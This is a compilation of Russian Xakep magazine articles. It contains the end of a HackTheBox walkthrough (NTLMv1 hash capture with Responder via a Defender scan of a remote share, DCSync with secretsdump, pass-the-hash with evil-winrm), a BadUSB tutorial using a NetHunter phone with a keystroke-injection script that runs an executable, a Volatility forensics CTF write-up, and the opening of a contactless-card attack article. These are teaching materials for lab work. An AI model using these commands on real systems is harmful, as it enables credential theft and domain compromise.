для чего исполь зуем параметр  .

Software
‐s

             
 

reg.py ‐dc‐ip apt.htb.local ‐k apt.htb.local query ‐keyName HKU\\
Software ‐s

Со дер жимое вет ки реес тра Software поль зователь ско го раз дела

И сра зу получим учет ные дан ные!

ПРОДВИЖЕНИЕ
Сре ди  обна ружен ных  откры тых  пор тов  был  порт  5985,  который  отве чает
за  служ бу  уда лен ного  управле ния WS‐Man. Сто ит  попытать ся  получить  кон‐ 
троль  над  машиной  с  помощью  очень  удоб ной  ути литы  .  Пос ле
получе ния кон тро ля забира ем флаг поль зовате ля.

Evil‐WinRM

           evil‐winrm ‐i apt.htb.local ‐u henry.vinson_adm ‐p 'G1#Ny5@2dvht'

Поль зователь ский флаг

ЭСКАЛАЦИЯ ПРИВИЛЕГИЙ
Что бы  понять,  куда  дви гать ся  даль ше,  я  обыч но  исполь зую  скрип ты  .
Увы,  в  этот  раз  они  не  обна ружи ли  ничего,  что  мог ло  бы  нас  под тол кнуть
к повыше нию при виле гий. Одна ко я по опы ту знаю, что PEASS не про веря ет
файл  . Это ана лог фай ла   из Linux,
который  вклю чен  по  умол чанию  начиная  с  PowerShell  5.  Рас положен  он  вот
по такому пути:

PEASS

ConsoleHost_history.txt .bash_history

APPDATA\Microsoft\Windows\PowerShell\PSReadLine 

Это  важ ный  источник  информа ции  о  коман дах,  которые  выпол нял  поль‐ 
зователь, и фай лах, с которы ми он работал. Воз можно, даже о паролях!

Со дер жимое фай ла ConsoleHost_history.txt

Похищение хеша
В извле чен ной из   коман де парамет ру 

 прис ваивает ся зна чение  , а находит ся он вот в этой вет ке:
ConsoleHost_history.txt LmCompat‐

ibilityLevel 2

HKLM\System\CurrentControlSet\Control\Lsa\ 

Этот  параметр  опре деля ет,  какой  про токол  про вер ки  под линнос ти  зап роса
или отве та исполь зует ся для сетевых учет ных дан ных. Стан дар тный про токол
Active  Directory  —  это  Kerberos,  но,  если  по  какой‐то  при чине  он  не  сог‐ 
ласован, Active Directory исполь зует LM, NTLM или NTLMv2.

Так вот, если   име ет зна чение  ,  то для про вер ки
под линнос ти  кли ент ско го  устрой ства будет исполь зовать ся  толь ко про токол
NTLMv1.  А  это  зна чит,  что  если  мы  зас тавим  сер вер  обра тить ся  к  сво ему
локаль ному  хос ту,  то  смо жем  получить  NTLMv1‐хеш  пароля  учет ной  записи
компь юте ра. Мно жес тво тех ник, которые помогут это го дос тичь, перечис лены

.

LmCompatibilityLevel 2

в репози тории All_NTLM_leak
Нап ример,  хеш мож но  получить  при  помощи Windows Defender.  Сна чала

запус тим  на  локаль ном  хос те  скрипт  ,  что бы  отлавли вать  хеши.
Взло мать  хеши  NTLMv1  мож но  с  помощью  ресур са  ,  но  бес плат но
это мож но сде лать, толь ко если   равен 1122334455667788, поэто‐ 
му  в  фай ле  кон фигура ции    зададим
это зна чение и запус тим Responder.

Responder
crack.sh

challenge
/etc/responder/Responder.conf

Из менен ное зна чение Challenge

     responder ‐I 10.10.13.31 ‐‐lm

А  теперь  зас тавим  Windows  Defender  ска ниро вать  файл  на  нашем  хос те.
Это  вызовет  про цесс  аутен тифика ции.  Как  толь ко  мы  выпол ним  ска ниро‐ 
вание, в окне Responder появит ся хеш.

C:\Program Files\Windows Defender\MpCmdRun.exe ‐Scan ‐ScanType 3 
‐File \\10.10.14.31\qweqwe

NTLMv1‐хеш пароля учет ной записи хос та

За тем  отправ ляем  хеш  в  фор мате  ,  а  ключ
получа ем на ука зан ную поч ту.

$NETNTLM$[challenge]$[hash]

Фор ма отправ ки хеша NTLMv1

Со обще ние об успешном взло ме клю ча

Атака DCSync
Это хеш пароля учет ной записи компь юте ра. Это при виле гиро ван ная учет ка,
которая поз волит нам выпол нить ата ку DCSync — симуля цию поведе ния кон‐ 
трол лера  домена.  Она  при водит  к  пол ной  реп ликации  кри тичес ких  дан ных,
в том чис ле и всех уче ток.

     secretsdump.py 'APT$@apt.htb.local' ‐hashes :
d167c3238864b12f5f82feae86a7f798

Учет ные дан ные поль зовате лей домена

По лучив хеш пароля адми нис тра тора, под клю чаем ся к  хос ту с помощью той
же служ бы WS‐Man.

           evil‐winrm ‐i apt.htb.local ‐u Administrator ‐H
c370bddf384a691d811ff3495e8a72e2

Флаг адми нис тра тора

Флаг адми нис тра тора получен, машина зах вачена!

Продолжение статьи →
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ВЗЛОМ

Что  такое BadUSB,  зна ет,  навер ное,  каж дый. Дол гое вре мя
к  катего рии  BadUSB  при чис ляли  исклю читель но  девай сы
вро де фле шек. Но мож но ли исполь зовать в таком качес тве,
нап ример, смар тфон на Android? Мож но — с помощью про‐ 
екта Kali NetHunter, мобиль ной плат формы, спе циаль но соз‐ 
данной  для  пен тесте ров. В  этой  статье  я  покажу,  как  прев‐ 
ратить мобиль ник в пол ноцен ный ана лог «злой флеш ки».

О BadUSB  , в стать ях и виде оро ликах
давалась общая информа ция об этом клас се атак, делал ся обзор сущес тву‐ 
ющих  девай сов  на  рын ке,  и,  конеч но  же, 

.  Как  ты  зна ешь,  эта  ата ка  поз воля ет  в  крат чай шие
сро ки выпол нить дей ствия на целевом компь юте ре. Дела ется это так: в сво‐ 
бод ный USB‐порт встав ляет ся заранее под готов ленная флеш ка или прос той
USB‐кабель, который име ет встро енный мик рокон трол лер с осо бой про шив‐ 
кой. Эти устрой ства иден тифици руют ся сис темой в качес тве HID  (Human  In‐
terface  Device),  нап ример  как  кла виату ра.  Пос ле  чего  по  заранее  написан‐ 
ному  сце нарию  эму лиру ется  ввод  команд,  как  если  бы  их  вби вал  живой
человек, сидящий за компь юте ром.

го вори лось и писалось мно жес тво раз

опи сыва лись  схе мы  сбор ки
самодель ных  устрой ств

Пред положим,  что  ты  член  коман ды  Red  Team.  Плю сы  таких  устрой ств
для тебя оче вид ны. Во‐пер вых, не нуж но садить ся за компь ютер и прив лекать
к себе вни мание, сту ча по кла вишам за чужим рабочим мес том. Дос таточ но
вста вить неп ригляд ную флеш ку или кабель в разъ ем USB. А во‐вто рых, ско‐ 
рость авто мати чес кого вво да команд при помощи устрой ства BadUSB в разы
выше, чем ско рость, с которой спо собен печатать человек.

На самом деле ата ка с авто мати чес ким вво дом тек ста через USB‐свис тки
появи лась  куда  рань ше,  чем  сам  тер мин  BadUSB.  В  2010  году  коман да
Hak5 пред ста вила сво его зна мени того резино вого утен ка —  .Rubber Ducky

Ши роко извес тный в узких кру гах девайс Rubber Ducky

Это  был  спе циаль но  спро екти рован ный  девайс,  который  нап рямую  никак
не свя зан с темой BadUSB. Соз датели жел той уточ ки раз работа ли спе циаль‐ 
ный  скрип товый  язык,  на  котором мож но  было  писать  сце нарии. Впос ледс‐ 
твии появил ся целый ресурс, где поль зовате ли вык ладыва ли свои скрип ты.

Ре сурс, на который поль зовате ли вык ладыва ли собс твен ные скрип ты

Bash Bunny
Ин терес ная аль тер натива «резино вой утке» —  . Это более изощ‐ 
ренный  вари ант  девай са  для  HID‐атак.  Помимо  кла виату ры,  он  может  эму‐ 
лиро вать  любые  устрой ства  для  пос ледова тель ного  пор та,  фай ловые  хра‐ 
нили ща и адап теры USB — Ethernet.

Bash Bunny

О  дру гих  хакер ских  устрой ствах,  которые  может  при обрести  любой  жела‐ 
ющий, ты можешь  .про читать в этой статье

В боль шинс тве  слу чаев при мене ние  «утен ка»  и  самодель ных BadUSB‐свис‐ 
тков сво дит ся к получе нию уда лен ного дос тупа или экспор ту паролей из сис‐ 
темы.  Авто ры  темати чес ких  ста тей  и  мам кины  хакеры  c  юту ба  зачас тую
исполь зуют одну и ту же схе му: залить на фай лооб менник какой‐нибудь тро ян
и  зап рограм мировать  девайс  BadUSB  на  его  ска чива ние  и  выпол нение.
Как говорит ся, дешево и сер дито.

Ми нусы это го метода оче вид ны: во‐пер вых, серь езные спе циалис ты могут
исполь зовать собс твен ные при ват ные наработ ки, так что заливать такой код
неиз вес тно куда — идея не самая разум ная, а во‐вто рых, на целевой машине
может  не  ока зать ся  дос тупа  в  интернет,  и  скрипт  поп росту  не  отра бота ет
как надо.

При  таком  рас кла де  самодель ные  бюд жетные  свис тки  ста новят ся  бес‐ 
полез ными. Поль зовате ли ори гиналь ного утен ка находят ся в более при виле‐ 
гиро ван ном положе нии, и вот почему: у Rubber Ducky есть воз можность уста‐ 
новить  SD‐кар ту  с  дос таточ ным  объ емом  памяти.  Кро ме  того,  сущес тву ет
аль тер натив ная про шив ка под наз вани ем Twin Duck, которая прев раща ет утку
одновре мен но  в  два  устрой ства:  кла виату ру  и  Mass  Storage  Device.  Таким
обра зом,  появ ляет ся  воз можность  рас положить  необ ходимый  софт  непос‐ 
редс твен но  во  внут ренней  памяти  девай са  и  пол ностью  избе жать  работы
с сетью.

Лич но я поз накомил ся с BadUSB при совер шенно дру гих обсто ятель ствах.
Это  слу чилось,  ког да  я  уста новил  на  смар тфон  опе раци онную  сис тему  Kali
NetHunter. Сре ди про чих фун кций дан ной ОС в ней при сутс тву ет воз можность
исполнять  ути ные  скрип ты  при  под клю чении  смар тфо на  к  компь юте ру.
И  все бы ничего,  но  вари ант  с  залив кой фай лов  куда‐то  вов не меня совер‐ 
шенно не устра ивал, и я решил довес ти алго ритм этой ата ки до ума.

WARNING

Вся  информа ция  пре дос тавле на  исклю читель но
в  озна коми тель ных  целях.  Автор  и  редак ция
не  несут  ответс твен ности  за  любой  воз можный
вред,  при чинен ный  с  исполь зовани ем  све дений
из этой статьи.

Для  начала  раз берем ся  с  базовым  выпол нени ем  ducky‐скрип тов.  В  гра‐ 
фичес кой обо лоч ке NetHunter для это го сущес тву ет свой раз дел, но, по прав‐ 
де говоря, поль зы от него мало. Поэто му запуск скрип тов мы наладим самос‐ 
тоятель но.

В  пап ке    есть  ути лита  ,
которая кон верти рует скрипт на ути ном язы ке в shell‐скрипт. В свою оче редь,
shell‐скрипт работа ет с прог раммой hid‐keyboard,  которая непос редс твен но
вза имо дей ству ет с HID‐гад жетом  , эму лиру ющим устрой ство вво‐ 
да. Вот как выг лядит ути ная коман да   в сыром вари анте:

/sdcard/nh_files/modules duckhunter.py

/dev/hidg0
STRING usb

echo u | hid‐keyboard /dev/hidg0 keyboard 
echo s | hid‐keyboard /dev/hidg0 keyboard 
echo b | hid‐keyboard /dev/hidg0 keyboard 

При запус ке скон верти рован ного скрип та под клю чен ный телефон нач нет вво‐ 
дить текст на компь юте ре.

С  этим  разоб рались,  теперь  перей дем  к  час ти  эму ляции  флеш‐накопи‐ 
теля.  Для  начала  нам  необ ходимо  соз дать  вир туаль ный  образ,  который  мы
будем мон тировать и на котором будут находить ся нуж ные для запус ка фай‐ 
лы. Образ мож но было бы соз дать прос той коман дой:

1M  100   dd if=/dev/zero of=demo.img bs= count= && sync

Но  необ ходимо  еще  отформа тиро вать  накопи тель  и  задать  мет ку  тома,
поэто му более удоб ным вари антом будет исполь зование ути литы DriveDroid.

Ис поль зуем ути литу DriveDroid для соз дания вир туаль ного обра за дис ка

Соз дай в ней образ необ ходимо го раз мера и смон тируй в качес тве смен ного
накопи теля,  отформа тируй  его  штат ными  средс тва ми  и  задай  мет ку,  нап‐ 
ример  . Ско пируй файл (для при мера пусть он называ ется  ),
который пла ниру ешь запус кать, в корень получив шей ся флеш ки.

DEMOUSB file.exe

Пред став лю  свой  вари ант  скрип та  ,  который  будет  опре делять
бук ву смон тирован ного устрой ства с необ ходимой мет кой и запус кать с него
файл.

demo.txt

DELAY 100 
CONTROL ESCAPE 
DELAY 2000 
STRING powershell 
DELAY 500 
ENTER 
DELAY 2500 

0      20   ++  STRING For ($i= ; $i ‐le ; $i ) {
ENTER 

   
   |  name 

STRING [string]$usbPath = Get‐WMIObject Win32_Volume | ? { $_.Label 
–eq 'DEMOUSB' } select 
ENTER 

 7    
7,

STRING if($usbPath.Length ‐gt ){[string]$letter = $usbPath.Substring
( $usbPath.Length ‐ 8)
ENTER 

 STRING cd $letter
ENTER 
STRING ./file.exe 
ENTER 

  1STRING break}else {sleep( )}}
ENTER 
STRING exit
ENTER 

Код  очень  прос той  и  в  ком мента риях  не  нуж дает ся.  Скон верти руем  его
в shell‐фор мат:

python duckhunter.py demo.txt demo.sh –l us 

По лучив ший ся .sh‐файл мы будем запус кать из chroot‐окру жения Kali:

chroot /data/local/nhsystem/kali‐armhf sh /root/demo.sh 

Те перь  оста лось  смон тировать  наш  образ    сле дующи ми  коман‐ 
дами:

demo.img

# Отключить read‐only
   echo '0' > /config/usb_gadget/g1/functions/mass_storage.0/lun.0/ro 

# Установить тип устройства
   echo '1' > /config/usb_gadget/g1/functions/mass_storage.0/lun.0/

removable 
# Указать пусть до образа, который следует смонтировать

   echo '/sdcard/demo.img' > /config/usb_gadget/g1/functions/mass_
storage.0/lun.0/file 

1 sleep 
# Устанавливаем свойство mass_storage для USB
setprop sys.usb.config mass_storage,adb 

Весь  получив ший ся  код  мож но  соб рать  в  ито говый  скрипт 
и положить в дирек торию  , пос ле
чего  зай ти  в  NetHunter →  Custom  Commands  и  соз дать  кноп ку  для  запус ка
со сле дующим содер жимым:

badusb.sh
/data/data/com.offsec.nethunter/files

su –c /data/data/com.offset.nethunter/files/badusb.sh 

Со бира ем «вир туаль ную флеш ку»

Те перь дос таточ но под клю чить телефон к компь юте ру и нажать кноп ку стар та
скрип та — запус тится PowerShell, а в нем цикл ожи дания под клю чения смен‐ 
ного носите ля с задан ной мет кой и исполня емым фай лом.

Я  опус тил  некото рые  эле мен тарные  шаги,  ведь  подоб ный  сце нарий
исполь зования  ата ки  BadUSB  пред полага ет  дос таточ ную  теоре тичес кую
и прак тичес кую под готов ку по юник сам.

На мой  взгляд,  телефон  луч ше  справ ляет ся  с  этой  задачей,  чем  свис тки
BadUSB. Всег да мож но ска зать, что ты заряжа ешь телефон от пер вого попав‐ 
шегося USB,  к  тому  же  на  телефо не мож но  дер жать  целый  набор  скрип тов
и запус кать любой из них в про изволь ном поряд ке. Никакой воз ни с переп‐ 
рошив кой!

INFO

Опи сан ная  выше  инс трук ция 
 как видео. Кро ме это го, в дан ный момент

ведет ся  розыг рыш  смар тфо на  с  уста нов ленной
Kali NetHunter,  с  помощью  которо го  ты  смо жешь
воп лотить в жизнь сце нарий, опи сан ный в статье.
Под робнос ти — в телег рам‐канале  .

дос тупна  на  моем
YouTube

t.me/cepter

В завер шение хочу дать одну малень кую под сказ ку. Все коман ды нуж но вво‐ 
дить при активной англий ской рас клад ке кла виату ры в сис теме. Если, к при‐ 
меру, в момент про веде ния ата ки будет уста нов лен рус ский или любой иной
язык, ата ка не сра бота ет. На помощь при ходят аль тер натив ные коды, которые
вво дят ся  в  ком бинации  с  зажатой  кла вишей  Alt  и  циф ровым  обоз начени ем
зна ка кла виша ми NumPad.

mailto:intercepter.mail@gmail.com
https://xakep.ru/tag/badusb/
https://xakep.ru/2019/01/16/wi-fi-ducky/
https://xakep.ru/2020/06/25/diy-badusb/
https://shop.hak5.org/products/bash-bunny
https://xakep.ru/2020/03/17/hack-tools-2020/
https://youtu.be/_7yAr3oDod0
https://t.me/cepter
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ВЗЛОМ

За дачи  на  форен зику  (кри мина лис тику)
в  сорев новани ях  Capture  The  Flag  делят ся
на  нес коль ко  боль ших  типов:  ана лиз  опе‐ 
ратив ной  памяти,  жес тко го  дис ка  и  иссле‐ 
дова ние дам пов тра фика. В этой статье мы
раз берем  задачу 

  на  тему  ана лиза  памяти
из  сорев нования  JustCTF  2021,  а  заод но
рас смот рим  мало извес тную,  но  очень
полез ную фиш ку GIMP.

Remote  Password
Manager

ЧТО ДЕЛАЕМ?
Ана лиз опе ратив ной памяти час то исполь зует ся, ког да у нас был физичес кий
дос туп  к  машине  и  получи лось  снять  сле пок  опе ратив ной  памяти.  По  нему
мож но  опре делить,  какие  при ложе ния  запус кались  во  вре мя  это го  сеан са,
потому что, пока человек не вык лючил или не перезаг рузил компь ютер, в опе‐ 
ратив ной  памяти  хра нит ся  инте ресу ющая  нас  информа ция  (нап ример,  дан‐ 
ные про цес сов).

INFO

Еще  инте рес ные  дан ные  мож но  най ти  в  фай лах
под качки  ( )  и  гибер нации  (

).  Для  *nix‐based‐сис тем  сто ит
поис кать в swap‐раз деле.

pagefile.sys hi‐
berfil.sys

Для  ана лиза  дам пов  памяти  сущес тву ет  нес коль ко  при ложе ний,  которые
на слу ху у всех, кто хоть раз имел дело с задача ми на форен зику: это  ,

 и   (в связ ке с Volatility). Есть, конеч но, и дру гие, но под робно
мы на них оста нав ливать ся не будем.

Volatility
Memoryze Autopsy

Круп ные  решения  вро де  Autopsy  хороши  тем,  что  поз воля ют  про извести
ком плексный ана лиз все го слеп ка одной кноп кой, одна ко цена за это — боль‐ 
шое вре мя работы прог раммы. На сорев новани ях обыч но необ ходимо делать
задачу  мак сималь но  быс тро,  поэто му  исполь зовать  мы  будем  Volatility.
В  «Хакере»  уже    статьи,  свя зан ные с  этим чудес ным инс тру мен том,  так
что, если ты новичок в теме, сто ит сна чала озна комить ся с ними.

бы ли

ЗАДАНИЕ
Вот  как  выг лядело  усло вие  задачи.  Нам  дан  непос редс твен но  сле пок  опе‐ 
ратив ной памяти и его хеш MD5 для про вер ки.

Приб лизитель ный перевод:

У  меня  есть  самый  безопас ный  менед жер  паролей.  Даже  если  ты
укра дешь мой ноут бук, ты не смо жешь узнать мои сек реты.

Под сказ ка: Уда лен ный не зна чит обя затель но бра узер

За кача ем  наш  образ  на  машину,  где  будем  про водить  ана лиз  (у  меня
это Kali):

$ wget https://ams3.digitaloceanspaces.com/justctf/69f7647d‐2f7a‐
4604‐b9f6‐553c6bb447ee/challenge.tar.gz 

Рас паку ем:

 $ tar ‐xzvf challenge.tar.gz 

И сра зу же про верим, что с ним все в поряд ке:

$ md5sum pub/challenge.vmem 

Ес ли хеш не сошел ся с исходным хешем — при дет ся еще раз ска чать архив.

О важности актуальных версий
Ни для кого не сек рет, что с каж дым обновле нием любого инс тру мен та раз‐ 
работ чики ста рают ся добавить новые воз можнос ти и убрать 

 баги. В опе раци онных сис темах семей ства Lin‐
ux  есть  встро енные  менед жеры  пакетов,  которые  сущес твен но  упро щают
уста нов ку и обновле ние прог рамм. Из‐за это го боль шинс тво людей пер вым
делом лезет в свой пакет ный менед жер, что бы уста новить отту да прог рамму.

ста рые недоку‐ 
мен тирован ные воз можнос ти

Од нако здесь есть неболь шие шерохо ватос ти: раз работ чик может забыть
(или  забить?)  обно вить  пакет  в  репози тории.  В  таких  слу чаях  при ходит ся
искать исходни ки и собирать акту аль ную вер сию самос тоятель но.

Те,  кто  зна ком  с  Volatility,  зна ют  о  его  осо бен ностях.  Нап ример,  что  он
исполь зует  так  называ емые  про фили,  которые  поз воля ют  пра виль но  рас‐ 
парсить весь сле пок опе ратив ной памяти, и энту зиас ты пос тоян но обновля ют
их  спи сок.  Разуме ется,  про филь  мож но  сде лать  и  ,  но  явно
про ще  вос поль зовать ся  готовы ми.  Во  вре мя  сорев нования  я  стол кнул ся
с тем, что дав но не обновлял свой Volatility и нуж ных про филей для решения
задачи у меня не ока залось.

са мос тоятель но

Что бы с тобой не слу чилось подоб ного, перед началом решения задачи я
нас тоятель но рекомен дую обно вить  (или уста новить) Volatility с    про‐ 
екта.

гит хаба

ОПРЕДЕЛЯЕМ ПРОФИЛЬ
Пер вым делом нам необ ходимо опре делить вер сию опе раци онной сис темы,
с которой сни мали сле пок. Это мож но сде лать коман дой  :imageinfo

$ vol.py ‐f challenge.vmem imageinfo 

Нам  нуж но  обра тить  вни мание  на  строч ку  с  Suggested  Profile(s).  Имен но
здесь  нам  говорят,  что  пред полага емый  про филь  слеп ка  опе ратив ной
памяти  —  .  Теперь  мы  дол жны  ука зывать  аргу мент 

 для пос леду ющих команд.
Win10x64_18362

‐‐profile Win10x64_18362

WWW

Пол ная  докумен тация  по  Volatility  есть  в 
.

Wiki
по инс тру мен ту на GitHub

СОБИРАЕМ ИНФОРМАЦИЮ О МАШИНЕ
Ка кую информа цию име ет смысл добыть вна чале? Обыч но это:

про цес сы;•
ис тория бра узе ра;•
ис тория запущен ных команд в кон соли.•

Этих трех пун ктов хва тает для опре деле ния век тора даль нейшей раз ведки.

Процессы
Что бы най ти  про цес сы,  нам дос таточ но исполь зовать  коман ду  . Есть
еще  ,  но  пер вая  коман да  удоб нее,  потому  что  показы вает  про цес сы
в виде дерева — так нам ного про ще понять, на какие из них сто ит обра тить
вни мание.

pstree
pslist

$ vol.py ‐f challenge.vmem ‐‐profile Win10x64_18362 pstree 

Ни чего бро сающе гося в  гла за,  вро де    или 
, не вид но, поэто му про дол жим нашу раз ведку.

pswd_manager.exe not_a_virus.
exe

История браузера
Хоть в хин те и говори лось, что «уда лен ный» не обя затель но зна чит «бра узер»,
мы про верим этот век тор. В Volatility есть готовый пла гин для прос мотра исто‐ 
рии Internet Explorer —  . И не говори, что им уже ник то не поль зует‐ 
ся!

iehistory

$ vol.py ‐f challenge.vmem ‐‐profile Win10x64_18362 iehistory 

Ко ман да  работа ла  слиш ком  дол го  на  моей  машине  (поряд ка  20  минут)
и  завер шать ся  не  пла ниро вала.  Это  не  счи тает ся  нор маль ным  поведе нием
для Volatility, сле дова тель но, тут искать нечего.

INFO

Ес ли ты подума ешь сос тавлять задач ки для CTF —
имей в виду, что задачи, в которых надо по пол‐ 
часа  бру тить  извра щен ные  пароли  или  искать
неуло вимый API endpoint, ник то не любит, и сле‐ 
дующую задачу тебе доверят делать еще не ско‐ 
ро.

Список команд в консоли
Есть  еще  одна  удоб ная  фун кция  для  про вер ки  всех  вве ден ных  в  кон соль
команд. Воз можно, поль зователь запус кал что‐нибудь из кон соли или хра нил
там  важ ные  дан ные  (нап ример,  флаг).  Про верить  все  из  кон соли  мож но
с помощью коман ды  .cmdscan

$ vol.py ‐f challenge.vmem ‐‐profile Win10x6_18362 cmdscan 

Тут чис то — сле дова тель но, тер минал тоже не при делах.

Что еще можно сделать?
Пос коль ку до сих пор не наш лось ничего инте рес ного — мы что‐то упус тили.
Мож но  при менить  еще  один  полез ный  при ем  при  ана лизе  опе ратив ной
памяти — пос мотреть  на  скрин шот рабоче го  сто ла. Помога ет  он  не  силь но
час то, но поз воля ет уви деть более пол ную кар тину.

Сде лать  скрин шот  всех  окон  про цес сов  в  сис теме  мож но  при  помощи
коман ды  .  Обя затель но  нуж но  ука зать  сущес тву ющую  конеч ную
дирек торию,  где  будут  находить ся  все  сним ки.  Важ но  понимать,  что  боль‐ 
шинс тво кар тинок будут пус тыми: это свя зано с тем, что не все окна вооб ще
могут отоб ражать ся (для луч шего понима ния рекомен дую озна комить ся с 

).

screenshot

до‐ 
кумен таци ей

$ vol.py ‐f challenge.vmem ‐‐profile Win10x64_18362 screenshot ‐D 
shot/ 

К  сожале нию,  коман да  закан чива ется  с  ошиб кой,  так  что  этот  трюк  тоже
не про шел и нам сто ит вер нуть ся к самому началу.

ПЕРЕПРОВЕРЯЕМ ИНФОРМАЦИЮ
В наз вании задачи фигури рует сло во remote (уда лен ный) — давай поп робу ем
най ти что‐то, что может вза имо дей ство вать с сетью.

Поп робу ем  сно ва  про верить  все  про цес сы,  которые  у  нас  фигури руют
в  этом  слеп ке  опе ратив ной  памяти.  Заметим  сре ди  них    —  Mi‐
crosoft  Terminal  Services  Client,  или,  в  прос тонародье,  RDP‐кли ент.  RDP  —
это  проп риетар ный  про токол  для  дос тупа  к  уда лен ным  рабочим  сто лам.
Для нас важ но то, что про токол пре дус матри вает переда чу кар тинки по кад‐ 
рам  в  виде  сжа тых  бит мапов,  которые  раз жима ются  и  отоб ража ются,  а  в
это вре мя хра нят ся в памяти.

mstsc.exe

Воз можно, в этом про цес се мы смо жем най ти флаг. Най дем его PID, что‐ 
бы мы мог ли сдам пить память про цес са:

$ vol.py ‐f challenge.vmem ‐‐profile Win10x64_18362 pslist | grep 
mstsc.exe 

Но мер про цес са —  .6484

ДАМПИМ ПАМЯТЬ
У каж дого про цес са есть своя выделен ная память, которая хра нит ся как раз
в  опе ратив ке  (вне зап но,  не  так  ли?).  Поп робу ем  сдам пить  ее,  что бы  най ти
полез ную информа цию из это го про цес са.

$ vol.py ‐f challenge.vmem ‐‐profile Win10x64_18362 memdump ‐p 6484 
‐D data 

Хранение картинок в памяти
На поми наю,  что    (да  и  дру гие  RDP‐кли енты  тоже)  получа ют 

,  которую хра нят у себя где‐то в опе ратив ной памяти. Бла года ря этой
осо бен ности мы можем поп робовать  извлечь  кар тинку  из  это го  дам па  про‐ 
цес са.  Воз никнет  толь ко  одна  неболь шая  проб лема:  пра виль но  подоб рать
сме щение, так как кар тинка в памяти про цес са хра нит ся в сыром виде, и ни

, ни   не могут ее отыс кать, что бы сох ранить как отдель ный
файл.

mstsc.exe кар- 

тинку

binwalk foremost

INFO

Та кой трюк мож но при менять не толь ко для про‐ 
цес са  ,  но  и  на  про цес сы  вро де

,    и  дру гие,
которые работа ют при мер но по  такому же прин‐ 
ципу.

mstsc.exe
mspaint.exe virtualbox.exe

Для  под бора  сме щения  рас чехля ем  гра фичес кий  редак тор  .  Как  про‐ 
читать кар тинку, если она начина ется не в начале фай ла? Да зап росто!

GIMP

Нуж но открыть дамп про цес са как Raw Image Data, то есть как сырую кар‐ 
тинку, ина че мы не смо жем под бирать сме щение.

Даль ше появ ляет ся окош ко, где мы можем выбирать сме щение.

И  начина ем  его  прок ручивать.  Для  удобс тва  я  уве личил  свое  окош ко
по ширине, что бы было лег че управлять пол зунком. Во вре мя переме щения я
заметил сле дующую кар тинку,  которая похожа на кусок рабоче го сто ла Win‐
dows, что наводит на мысль о бли зос ти к фла гу.

Под кру тим еще нем ного и скор ректи руем раз мер по ширине.

А вот и флаг!

КРАТКИЕ ВЫВОДЫ
Пе ред решени ем любых задач не забывай обновлять исполь зуемые ути литы!
Не  обно вив  ути литу  или  неп равиль но  про читав  докумен тацию  к  ней,  мож но
попасть в    и не сдать  задачу вов ремя. А  как мы зна ем, не быва ет
поз дно, быва ет уже не надо.

rabbit  hole

Полезные ссылки для самостоятельного изучения

• Еще один при мер исполь зования GIMP и Volatility в CTF
• Из вле чение сырых кар тинок из дам пов памяти
• За дача For1 с Google CTF 2016

mailto:herrlestrate@gmail.com
https://github.com/volatilityfoundation/volatility
https://www.fireeye.com/services/freeware/memoryze.html
https://www.autopsy.com/
https://xakep.ru/2018/04/03/forensics-guide-1/
https://www.andreafortuna.org/2019/08/22/how-to-generate-a-volatility-profile-for-a-linux-system/
https://github.com/volatilityfoundation/volatility/wiki/Installation
https://github.com/volatilityfoundation/volatility/wiki
https://volatility-labs.blogspot.com/2012/10/movp-43-taking-screenshots-from-memory.html?m=1
https://www.gimp.org/
https://www.quora.com/What-is-the-meaning-of-rabbit-hole
https://developpaper.com/ctf-realizing-windows-memory-forensics-with-volatility-and-gimp/
https://w00tsec.blogspot.com/2015/02/extracting-raw-pictures-from-memory.html
https://www.rootusers.com/google-ctf-2016-forensic-for1-write-up/


БЛИЗКИЕ
КОНТАКТЫ

АТАКУЕМ БЕСКОНТАКТНЫЕ КАРТЫ

Тимур Юнусов

ВЗЛОМ

Бес контак тные  бан ков ские  кар ты  очень
удоб ны:  при ложил  кар точку  к  тер миналу,
и  через  пару  секунд  в  кар мане  звяк нул
телефон  —  покуп ка  опла чена.  Но  это
удобс тво  име ет  и  обратную  сто рону:  зло‐ 
умыш ленни ки  могут  украсть  день ги  у  дер‐ 
жателей  такого  «плас тика».  Давай  погово‐ 
рим  о  спо собах  взло ма  бан ков ских  карт,
исполь зующих тех нологию NFC.

Читай также
О прин ципах, на которых стро ится безопас ность бан ков ских пла теж ных сис‐ 
тем, ты можешь узнать из пре дыду щих моих ста тей:
• Раз бира емся, как работа ют сис темы безопас ности кре дит ных карт
• Как хакеры кра дут день ги с бан ков ских карт
• Как работа ют ата ки на чиповые кар ты

Все они теперь дос тупны для чте ния без под писки.

Тех нологи чес ки пла тежи NFC явля ются про дол жени ем стан дарта EMV, поэто‐ 
му  все  про исхо див шие  «в  дикой  при роде»  ата ки  уже  были  извес тны  иссле‐ 
дова телям. Ког да я занял ся темой бес контак тных пла тежей, мне все же уда‐ 
лось най ти нес коль ко новых инте рес ных слу чаев, но подоб ные ата ки все так
же фокуси руют ся на обратной сов мести мос ти и дру гих недос татках основных
механиз мов EMV — авто риза ции, аутен тифика ции, верифи кации.

Про ведя  тес ты  с  десят ками  карт,  я  был  поражен  мас шта бом  проб лем
в бан ках. С начала 2000‐х они никуда не делись, и с при ходом бес контак тных
пла тежей  таких  проб лем  прос то  ста ло  боль ше.  Одна  из  осо бен ностей
мошен ничес тва имен но с бес контак тны ми кар тами зак люча ется в том, что его
труд но  под твер дить,  так  как  зло умыш ленни ку  нет  необ ходимос ти  получать
физичес кий дос туп к тво им кар там. Поэто му бан ки неред ко опро тес товыва ют
подоб ные жалобы кли ентов.

ЛЕГАСИ
Пер вым, кто еще в 2014 году обра тил вни мание на небезо пас ность режимов
легаси  при  бес контак тном  методе  опла ты,  был 

.
ис сле дова тель  Питер  Фил‐ 

лмор (Peter Fillmore)
Что  такое  бес контак тные  легаси‐режимы  и  зачем  они  соз давались

в  2013  году?  Легаси‐режимы  —  спе циаль ные  режимы  для  тер миналов,
которые не уме ли работать с крип тогра фией, в основном аме рикан ских. Так‐ 
же  из‐за  обратной  сов мести мос ти  кар ты  и  тер миналы,  все‐таки  уме ющие
в сов ремен ную крип тогра фию, мож но исполь зовать в легаси‐режимах. Пред‐ 
ставь  себе,  что  по  тво ей  чиповой  кар те  мож но  совер шать  пла тежи  с  маг‐ 
нитной полосой, — при мер но о таком уров не безот ветс твен ности идет речь.

Кар ты Visa в режиме легаси MSD (Magnetic Stripe Data) поп росту переда ют
Track2  Equivalent  с  динами чес ким  полем  CVV,  меня ющим ся  «вре мя  от  вре‐ 
мени». То есть один и тот же CVV мож но исполь зовать боль ше одно го раза.
